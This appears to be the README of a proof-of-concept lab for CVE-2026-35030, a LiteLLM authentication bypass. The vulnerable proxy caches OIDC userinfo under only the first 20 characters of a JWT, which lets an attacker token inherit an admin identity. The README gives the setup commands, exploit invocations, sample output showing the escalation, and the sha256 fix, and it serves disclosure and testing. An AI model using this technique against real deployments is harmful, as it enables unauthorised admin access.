# Code vulnérable (pre-1.83.0)
cache_key = token[:20]   # Seulement les 20 premiers caractères !

<header>.<payload>.<signature>

1. Admin s'authentifie → LiteLLM récupère userinfo → mis en cache avec clé = token[:20]
                                                                    ↑
2. Attaquant fabrique un JWT avec le même algorithme (RS256) ──────┘
   → token[:20] est IDENTIQUE → cache HIT → hérite de l'identité admin

# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

# Vulnérable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Seulement les 20 premiers caractères !
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → ignorer la récupération userinfo !

# Corrigé (v1.83.0+) — même fichier, ligne 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

CVE-2026-35030/
├── README.md                    # Ce fichier
├── docker-compose.yml           # LiteLLM vulnérable + corrigé + OIDC simulé
├── litellm_config.yaml          # Configuration LiteLLM avec JWT activé
├── requirements.txt             # Dépendances Python (PoC)
├── litellm-vuln/
│   └── Dockerfile               # LiteLLM vulnérable v1.82.5 avec patch entreprise
├── litellm-fixed/
│   └── Dockerfile               # LiteLLM corrigé v1.83.0+ avec clé de cache sha256
├── oidc-provider/
│   ├── Dockerfile               # Image du fournisseur OIDC simulé
│   ├── requirements.txt
│   └── server.py                # Simulation OIDC (FastAPI)
├── exploit/
│   ├── exploit.py               # Script principal d'exploit PoC
│   └── token_forge.py           # Utilitaires de collision JWT
├── docs/
│   └── advisory.md              # Référence de l'avis
└── screenshots/
    └── README.md                # Emplacement des captures d'écran de preuve